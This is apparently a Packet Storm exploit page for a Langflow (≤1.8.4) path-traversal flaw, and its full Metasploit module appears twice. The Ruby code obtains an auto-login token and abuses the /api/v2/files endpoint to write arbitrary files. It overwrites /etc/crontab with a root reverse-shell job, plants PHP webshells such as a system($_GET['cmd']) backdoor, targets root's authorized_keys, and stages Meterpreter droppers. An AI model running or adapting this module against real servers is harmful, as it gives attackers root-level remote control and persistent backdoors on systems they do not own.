8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module targets a path traversal vulnerability in Langflow versions 1.8.4 and below that allows attackers to write arbitrary files on the system through the /api/v2/files endpoint...
Basic Information
ID
PACKETSTORM:219697
Published
Apr 23, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Langflow ≤ 1.8.4 Path Traversal Leading to Unauthenticated Remote Code Execution Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.langflow.org/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets a path traversal vulnerability in Langflow (≤ 1.8.4) that allows attackers to write arbitrary files on the system through the /api/v2/files endpoint.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow Path Traversal to Unauthenticated RCE',
'Description' => %q{
Langflow <= 1.8.4 contains an arbitrary file write vulnerability via path traversal
in the POST /api/v2/files endpoint.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-5027'],
['CWE', '22']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Cron Job (Reverse Shell)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cron_reverse,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Cron Job (Bind Shell)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cron_bind,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_bash'
}
}
],
[
'Webshell (PHP)',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :webshell_php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper (Meterpreter)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-04-19'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for Langflow installation', '/']),
OptString.new('USERNAME', [false, 'Username', '']),
OptString.new('PASSWORD', [false, 'Password', '']),
OptEnum.new('WRITE_METHOD', [
true,
'Method',
'cron',
['cron', 'ssh_keys', 'webshell', 'systemd']
]),
OptString.new('SSH_PATH', [false, 'SSH path', '/root/.ssh/authorized_keys']),
OptString.new('WEBSHELL_PATH', [false, 'Web path', '/app/static/shell.php']),
OptString.new('PUBLIC_KEY', [false, 'SSH key', ''])
])
register_advanced_options([
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 9]),
OptInt.new('CRON_WAIT', [true, 'Wait time', 60])
])
end
def setup
@base_uri = normalize_uri(target_uri.path)
@traversal = '../' * datastore['TRAVERSAL_DEPTH']
@token = nil
end
def check
print_status("Checking Langflow...")
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
'method' => 'GET'
})
if res && res.code == 200
begin
json = JSON.parse(res.body)
if json['access_token']
print_good("Auto-login enabled")
return Exploit::CheckCode::Vulnerable
end
rescue
end
end
Exploit::CheckCode::Unknown
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
'method' => 'GET'
})
if res && res.code == 200
begin
json = JSON.parse(res.body)
@token = json['access_token'] if json['access_token']
return true if @token
rescue
end
end
fail_with(Failure::NoAccess, 'No token')
end
def write_file(remote_path, content)
filename = @traversal + remote_path.sub(/^\//, '')
data = Rex::MIME::Message.new
data.add_part(content, 'application/octet-stream', nil,
"form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v2', 'files'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'headers' => { 'Authorization' => "Bearer #{@token}" }
})
return (res && (res.code == 200 || res.code == 201))
end
def exploit_cron_reverse(payload_content)
cron_content = <<~CRON
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root #{payload_content}
CRON
write_file('/etc/crontab', cron_content)
end
def exploit_webshell_php(payload_content)
webshell_path = datastore['WEBSHELL_PATH']
php = "<?php #{payload_content} ?>"
if write_file(webshell_path, php)
register_file_for_cleanup(webshell_path)
print_good("Webshell written")
end
end
def exploit_linux_dropper
webshell = '/tmp/langflow.php'
content = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
if write_file(webshell, content)
@stager = normalize_uri(@base_uri, webshell)
execute_cmdstager({ 'background' => true })
end
end
def exploit
print_status("Exploiting Langflow")
authenticate
case target['Type']
when :cron_reverse
exploit_cron_reverse(payload.encoded)
when :webshell_php
exploit_webshell_php(payload.encoded)
when :linux_dropper
exploit_linux_dropper
end
print_status("Done")
handler if target['Type'] != :webshell_php
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Langflow ≤ 1.8.4 Path Traversal Leading to Unauthenticated Remote Code Execution Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.langflow.org/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets a path traversal vulnerability in Langflow (≤ 1.8.4) that allows attackers to write arbitrary files on the system through the /api/v2/files endpoint.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow Path Traversal to Unauthenticated RCE',
'Description' => %q{
Langflow <= 1.8.4 contains an arbitrary file write vulnerability via path traversal
in the POST /api/v2/files endpoint.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-5027'],
['CWE', '22']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Cron Job (Reverse Shell)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cron_reverse,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Cron Job (Bind Shell)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cron_bind,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_bash'
}
}
],
[
'Webshell (PHP)',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :webshell_php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper (Meterpreter)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-04-19'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for Langflow installation', '/']),
OptString.new('USERNAME', [false, 'Username', '']),
OptString.new('PASSWORD', [false, 'Password', '']),
OptEnum.new('WRITE_METHOD', [
true,
'Method',
'cron',
['cron', 'ssh_keys', 'webshell', 'systemd']
]),
OptString.new('SSH_PATH', [false, 'SSH path', '/root/.ssh/authorized_keys']),
OptString.new('WEBSHELL_PATH', [false, 'Web path', '/app/static/shell.php']),
OptString.new('PUBLIC_KEY', [false, 'SSH key', ''])
])
register_advanced_options([
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 9]),
OptInt.new('CRON_WAIT', [true, 'Wait time', 60])
])
end
def setup
@base_uri = normalize_uri(target_uri.path)
@traversal = '../' * datastore['TRAVERSAL_DEPTH']
@token = nil
end
def check
print_status("Checking Langflow...")
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
'method' => 'GET'
})
if res && res.code == 200
begin
json = JSON.parse(res.body)
if json['access_token']
print_good("Auto-login enabled")
return Exploit::CheckCode::Vulnerable
end
rescue
end
end
Exploit::CheckCode::Unknown
end
def authenticate
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v1', 'auto_login'),
'method' => 'GET'
})
if res && res.code == 200
begin
json = JSON.parse(res.body)
@token = json['access_token'] if json['access_token']
return true if @token
rescue
end
end
fail_with(Failure::NoAccess, 'No token')
end
def write_file(remote_path, content)
filename = @traversal + remote_path.sub(/^\//, '')
data = Rex::MIME::Message.new
data.add_part(content, 'application/octet-stream', nil,
"form-data; name=\"file\"; filename=\"#{filename}\"")
res = send_request_cgi({
'uri' => normalize_uri(@base_uri, 'api', 'v2', 'files'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'headers' => { 'Authorization' => "Bearer #{@token}" }
})
return (res && (res.code == 200 || res.code == 201))
end
def exploit_cron_reverse(payload_content)
cron_content = <<~CRON
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root #{payload_content}
CRON
write_file('/etc/crontab', cron_content)
end
def exploit_webshell_php(payload_content)
webshell_path = datastore['WEBSHELL_PATH']
php = "<?php #{payload_content} ?>"
if write_file(webshell_path, php)
register_file_for_cleanup(webshell_path)
print_good("Webshell written")
end
end
def exploit_linux_dropper
webshell = '/tmp/langflow.php'
content = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'
if write_file(webshell, content)
@stager = normalize_uri(@base_uri, webshell)
execute_cmdstager({ 'background' => true })
end
end
def exploit
print_status("Exploiting Langflow")
authenticate
case target['Type']
when :cron_reverse
exploit_cron_reverse(payload.encoded)
when :webshell_php
exploit_webshell_php(payload.encoded)
when :linux_dropper
exploit_linux_dropper
end
print_status("Done")
handler if target['Type'] != :webshell_php
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================